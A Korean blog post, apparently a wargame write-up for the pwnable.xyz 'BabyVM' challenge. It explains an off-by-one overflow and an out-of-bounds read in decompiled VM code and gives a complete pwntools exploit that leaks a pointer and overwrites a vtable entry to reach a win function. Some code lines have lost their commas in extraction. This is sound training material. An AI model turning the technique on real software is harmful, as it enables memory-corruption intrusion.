본문으로 바로가기

pwnable.xyz / BabyVM

category Wargame/pwnable.xyz 2020. 5. 22. 21:34

이런 타입 (VM pwn) 문제를 처음 풀어보는 거라 시간이 좀 걸렸다. 문제는 꽤 재미있다. (특히 어셈블리 코드 쓰는 부분..)

 

이 문제에서는 사용자가 AMD64 어셈블리 코드를 unicorn engine 위에서 직접 실행할 수 있는데, 사용할 수 있는 syscall 주소는 read, write, open으로 제한되어 있다.

설명을 시작하기 전 먼저 File 구조체가 어떻게 생겼는지 짚어보기로 한다.

 

 

fd는 syscall의 리턴값 대신 전역변수 open_files를 통해 관리되고, path는 파일 경로, content는 파일 내용, size는 크기를 나타낸다.

파일 I/O 함수는 고정된 함수를 쓰지 않고 ops vtable 필드의 fops_read, fops_write로 사용한다. 파일 구조체를 초기화하는 do_open에서 fops_read, fops_write를 각각 file_read, file_write로 설정한다.

 

우선 취약점이 발생하는 부분은 여기다.

 

void __cdecl sys_write(uc_engine *uc)
{
  uint64_t rdi_0; // [rsp+10h] [rbp-30h]
  uint64_t rsi_0; // [rsp+18h] [rbp-28h]
  uint64_t rdx_0; // [rsp+20h] [rbp-20h]
  uint64_t rax_0; // [rsp+28h] [rbp-18h]
  char *buf; // [rsp+30h] [rbp-10h]
  unsigned __int64 __canary; // [rsp+38h] [rbp-8h]

  __canary = __readfsqword(0x28u);

  rax_0 = -1LL;
  uc_reg_write(uc, UC_X86_REG_RAX, &rax_0);
  uc_reg_read(uc, UC_X86_REG_RDI, &rdi_0);
  uc_reg_read(uc, UC_X86_REG_RSI, &rsi_0);
  uc_reg_read(uc, UC_X86_REG_RDX, &rdx_0);
  buf = (char *)calloc(rdx_0, 1uLL);

  if ( buf && uc_mem_read(ucrsi_0bufrdx_0) == UC_ERR_OK )
  {
    rax_0 = do_write(rdi_0bufrdx_0);

    if ( rax_0 != -1LL )
    {
      uc_reg_write(uc, UC_X86_REG_RAX, &rax_0);
      free(buf);
    }
  }
}

 

int __cdecl do_write(int fd, char *buffer, size_t size)
{
  int i; // [rsp+2Ch] [rbp-4h]

  for ( i = 0; i < open_files; ++i )
  {
    if ( files[i].fd == fd )
      return files[i].ops.fops_write(&files[i], buffersize);
  }

  return -1;
}

 

int __fastcall file_write(File *self, char *buffer, size_t size)
{
  size_t _size; // [rsp+8h] [rbp-18h]

  _size = size;
  if ( self->size < size && size > 0x200 )
    _size = 0x200LL;
  self->size = _size;

  memcpy(self->contents, buffer_size + 1);
  return _size;
}

 

sys_write에서 메모리 값을 buf로 옮겨올 때 크기 값으로 사용되는 것은 rdx 레지스터 값이다. (=buf에는 원하는 길이의 문자열이 담긴다)

file_write의 buffer는 sys_write에서 할당받은 buf를 사용하고, _size는 어떤 조건을 거쳐서 최대 0x200의 값을 가지는데, memcpy에서 size에 _size+1이 들어가기 때문에 off-by-one overflow가 발생한다는 문제가 생긴다.

 

content 뒤에 있는 필드는 size이므로 size 값을 최대 0x2FF로 바꿀 수 있고, file_write의 size 정규화 허점으로 인해 0x2FF보다 작으면서 0x200보다 큰 값을 rdx에 넣어서 size와 ops 필드를 전부 건드릴 수 있다.

 

int __fastcall file_read(File *self, char *buffer, size_t size)
{
  size_t _size; // [rsp+8h] [rbp-18h]

  _size = size;
  if ( self->size < size )
    _size = self->size;

  memcpy(bufferself->contents, _size);
  return _size;
}

 

file_read에서도 마찬가지로 rdx가 self->size보다 작을 때만 _size를 정규화하기 때문에, 이미 self->size가 충분히 크다면 OOB read를 할 수 있다.

 

바이너리에 PIE가 걸려 있기 때문에, size 필드를 조작하고 OOB read로 file_read 함수 주소를 가져오고, offset을 계산해서 win 주소를 ops.fops_read 위치에 넣고 read를 하면 된다. 아래 스크립트에도 주석으로 설명을 정리해 뒀다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
import argparse


# syscall functions:
#   int sys_read(int fd, char *buf, size_t size);
#   int sys_write(int fd, char *buf, size_t size);
#   int sys_open(char *path);
#
# exploit:
#   sys_open(path);
#   sys_write(3, data, 0x201);                               // files[3].size = 0x2FF
#   sys_read(3, leak, 0x210);                                // leak file_read addr
#   file_read = *(uint64_t *)(leak+0x208)
#   *(uint64_t *)(data+0x200) = 0x2FF
#   *(uint64_t *)(data+0x208) = file_read - 0x172B + 0x1610  // overwrite to win
#   sys_write(3, data, 0x210);
#   sys_read(3, data, 0x210);
#
# rodata:
#   path [0x800]  : ./vuln
#   data [0x900] : \xFF * 0x201
#   leak [0xC00] : 0

program = '''
    lea r12, [rip+0x7F9]
    lea r13, [rip+0x8F2]
    lea r14, [rip+0xBEB]
    mov rdi, r12
    call sys_open
    mov rdi, 3
    mov rsi, r13
    mov rdx, 0x201
    call sys_write
    mov rsi, r14
    mov rdx, 0x210
    call sys_read
    mov qword ptr [r13+0x200], 0x2FF
    mov rbx, qword ptr [r14+0x208]
    sub rbx, 0x172B
    add rbx, 0x1610
    mov qword ptr [r13+0x208], rbx
    mov rsi, r13
    call sys_write
    call sys_read
    call terminate
sys_read:
    mov rax, 0
    syscall
    ret
sys_write:
    mov rax, 1
    syscall
    ret
sys_open:
    mov rax, 2
    syscall
    ret
terminate:
    hlt
'''


data = b'./vuln\x00'.ljust(0x100b'\x00') + (b'\xFF'*0x201).ljust(0x300b'\x00') + b'\x00' * 0x400


def exploit() :
    p.writelineafter(b'(y/n)\n'b'n')
    p.writeafter(b'program\n', asm(program).ljust(0x800b'\x90') + data.ljust(0x800b'\x00'))
    p.readuntil(b'vm\n')

    p.interactive()


if __name__ == '__main__' :
    context.arch = 'amd64'

    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('svc.pwnable.xyz'30044fam='ipv4')
    else :
        p = process('./challenge')

    exploit()

 

 

 

Last update: 5/22/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / note v4  (0) 2020.05.30
pwnable.xyz / fishing  (0) 2020.05.30
pwnable.xyz / knum  (0) 2020.05.22
pwnable.xyz / PvE  (0) 2020.05.12
pwnable.xyz / note v3  (0) 2020.05.11